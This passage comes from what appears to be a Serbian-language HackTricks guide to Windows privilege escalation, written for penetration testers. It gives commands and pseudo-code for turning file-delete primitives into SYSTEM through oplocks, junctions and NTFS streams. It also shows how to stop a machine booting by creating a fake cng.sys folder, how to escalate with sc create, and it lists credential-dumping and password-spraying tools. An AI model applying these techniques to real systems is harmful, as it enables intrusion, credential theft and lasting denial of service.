) koji učitava DLL koji ste hijack-ovali. -
Boom: Vaš kod se izvršava kao SYSTEM.
From Arbitrary File Delete/Move/Rename to SYSTEM EoP
Glavna MSI rollback tehnika (prethodna) pretpostavlja da možete obrisati celi folder (npr. C:\Config.Msi
). Ali šta ako vaša ranjivost dozvoljava samo arbitrary file deletion?
Možete iskoristiti NTFS internals: svaki folder ima skriveni alternativni data stream nazvan:
C:\SomeFolder::$INDEX_ALLOCATION
Ovaj stream čuva indeksne metapodatke fascikle.
Dakle, ako obrišete ::$INDEX_ALLOCATION
stream fascikle, NTFS uklanja celu fasciklu iz fajl-sistema.
Ovo možete uraditi koristeći standardne file deletion APIs kao što su:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Iako pozivate file delete API, ono briše sam folder.
Od Folder Contents Delete do SYSTEM EoP
Šta ako vaš primitive ne dozvoljava brisanje proizvoljnih files/folders, ali ono dozvoljava brisanje contents foldera pod kontrolom napadača?
- Korak 1: Kreirajte mamac folder i file
- Create:
C:\temp\folder1
- Inside it:
C:\temp\folder1\file1.txt
- Korak 2: Postavite oplock na
file1.txt
- Oplock pauzira izvršavanje kada privilegovani proces pokuša da obriše
file1.txt
.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Korak 3: Pokrenite SYSTEM proces (npr.,
SilentCleanup
)
- Ovaj proces skenira foldere (npr.,
%TEMP%
) i pokušava da obriše njihov sadržaj. - Kada stigne do
file1.txt
, oplock se aktivira i predaje kontrolu vašem callback-u.
- Korak 4: Unutar oplock callback-a – preusmerite brisanje
-
Opcija A: Premestite
file1.txt
na drugo mesto -
Ovo prazni
folder1
bez prekidanja oplock-a. -
Ne brišite
file1.txt
direktno — to bi prerano oslobodilo oplock. -
Opcija B: Konvertujte
folder1
u junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Opcija C: Kreirajte symlink u
\RPC Control
:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
Ovo cilja NTFS internal stream koji čuva metapodatke foldera — brisanje njega briše folder.
- Korak 5: Oslobađanje oplock-a
- SYSTEM proces nastavlja i pokušava da obriše
file1.txt
. - Ali sada, zbog junction + symlink, zapravo briše:
C:\Config.Msi::$INDEX_ALLOCATION
Rezultat: C:\Config.Msi
je obrisan od strane SYSTEM.
Od Arbitrary Folder Create do Permanent DoS
Iskoristite primitiv koji vam omogućava da create an arbitrary folder as SYSTEM/admin — čak i ako ne možete pisati fajlove ili postaviti slabe dozvole.
Kreirajte folder (ne fajl) sa imenom kritičkog Windows drajvera, npr.:
C:\Windows\System32\cng.sys
- Ova putanja obično odgovara kernel-mode drajveru
cng.sys
. - Ako ga unapred kreirate kao folder, Windows ne uspe da učita stvarni drajver pri podizanju sistema.
- Zatim, Windows pokušava da učita
cng.sys
tokom podizanja sistema. - Vidi folder, ne uspeva da razreši stvarni drajver, i sruši se ili zaustavi podizanje sistema.
- Ne postoji rezervni mehanizam, i nema mogućnosti oporavka bez spoljne intervencije (npr. popravka podizanja sistema ili pristupa disku).
Iz High Integrity do System
Nova usluga
Ako već pokrećete proces na High Integrity, put do SYSTEM može biti jednostavan samo kreiranjem i izvršavanjem nove usluge:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
tip
Kada kreirate service binary, uverite se da je validan service ili da binary izvršava neophodne akcije dovoljno brzo, jer će biti ubijen za 20s ako nije validan service.
AlwaysInstallElevated
Iz procesa visokog integriteta možete pokušati da omogućite AlwaysInstallElevated registry unose i instalirate reverse shell koristeći .msi wrapper.
Više informacija o registry ključevima koji su uključeni i kako instalirati .msi paket ovde.
High + SeImpersonate privilege to System
Možete pronaći kod ovde.
From SeDebug + SeImpersonate to Full Token privileges
Ako imate te token privilegije (verovatno ćete ih naći u već procesu visokog integriteta), bićete u mogućnosti da otvorite skoro bilo koji proces (ne zaštićene procese) sa SeDebug privilegijom, kopirate token procesa i kreirate arbitrarni proces sa tim tokenom.
Korišćenjem ove tehnike se obično izabere neki proces koji radi kao SYSTEM sa svim token privilegijama (da, možete naći SYSTEM procese bez svih token privilegija).
Možete naći primer koda koji izvršava predloženu tehniku ovde.
Named Pipes
Ovu tehniku koristi meterpreter za escalaciju u getsystem
. Tehnika se sastoji u kreiranju pipe-a i zatim kreiranju/abuziranju servisa da piše na taj pipe. Zatim, server koji je kreirao pipe koristeći SeImpersonate
privilegiju biće u mogućnosti da impersonira token pipe klijenta (servisa) i tako dobije SYSTEM privilegije.
Ako želite da saznate više o named pipes pročitajte ovo.
Ako želite primer kako otići iz high integrity do System koristeći named pipes pročitajte ovo.
Dll Hijacking
Ako uspete da hijack-ujete dll koji se učitava od strane procesa koji radi kao SYSTEM, bićete u mogućnosti da izvršite proizvoljan kod sa tim privilegijama. Dakle, Dll Hijacking je takođe koristan za ovu vrstu eskalacije privilegija, i, štaviše, mnogo je lakše dostići iz procesa visokog integriteta jer će on imati write permisije nad folderima koji se koriste za učitavanje dll-ova.
Možete saznati više o Dll hijackingu ovde.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Pročitajte: https://github.com/itm4n/FullPowers
More help
Useful tools
Najbolji alat za pronalaženje Windows local privilege escalation vektora: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) -- Proverava za misconfigurations i osetljive fajlove (proveri ovde). Detektovano.
JAWS -- Proverava moguće misconfigurations i prikuplja info (proveri ovde).
privesc -- Proverava za misconfigurations
SessionGopher -- Ekstrahuje PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP sačuvane session informacije. Koristite -Thorough localno.
Invoke-WCMDump -- Ekstrahuje kredencijale iz Credential Manager-a. Detektovano.
DomainPasswordSpray -- Spray-uje prikupljene lozinke preko domena
Inveigh -- Inveigh je PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer i man-in-the-middle alat.
WindowsEnum -- Osnovna privesc Windows enumeracija
Sherlock ~~~~ -- Pretražuje poznate privesc ranjivosti (ZASTARELO, zamenjeno sa Watson)
WINspect -- Lokalne provere (Potrebna su Admin prava)
Exe
Watson -- Pretražuje poznate privesc ranjivosti (mora se kompajlirati koristeći VisualStudio) (precompiled)
SeatBelt -- Enumeriše host tražeći misconfigurations (više alat za prikupljanje informacija nego privesc) (mora se kompajlirati) (precompiled)
LaZagne -- Ekstrahuje kredencijale iz mnogih softvera (precompiled exe na github-u)
SharpUP -- Port PowerUp-a u C#
Beroot ~~~~ -- Proverava za misconfigurations (izvršni fajl precompiled na github-u). Ne preporučuje se. Ne radi dobro na Win10.
Windows-Privesc-Check -- Proverava za moguće misconfigurations (exe iz python-a). Ne preporučuje se. Ne radi dobro na Win10.
Bat
winPEASbat -- Alat napravljen na osnovu ovog posta (ne zahteva accesschk da bi radio pravilno ali ga može koristiti).
Local
Windows-Exploit-Suggester -- Čita izlaz od systeminfo i preporučuje radne exploite (lokalni python)
Windows Exploit Suggester Next Generation -- Čita izlaz od systeminfo i preporučuje radne exploite (lokalni python)
Meterpreter
multi/recon/local_exploit_suggestor
Morate kompajlirati projekat koristeći odgovarajuću verziju .NET-a (pogledajte ovo). Da biste videli instaliranu verziju .NET-a na victim hostu možete uraditi:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Referencije
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.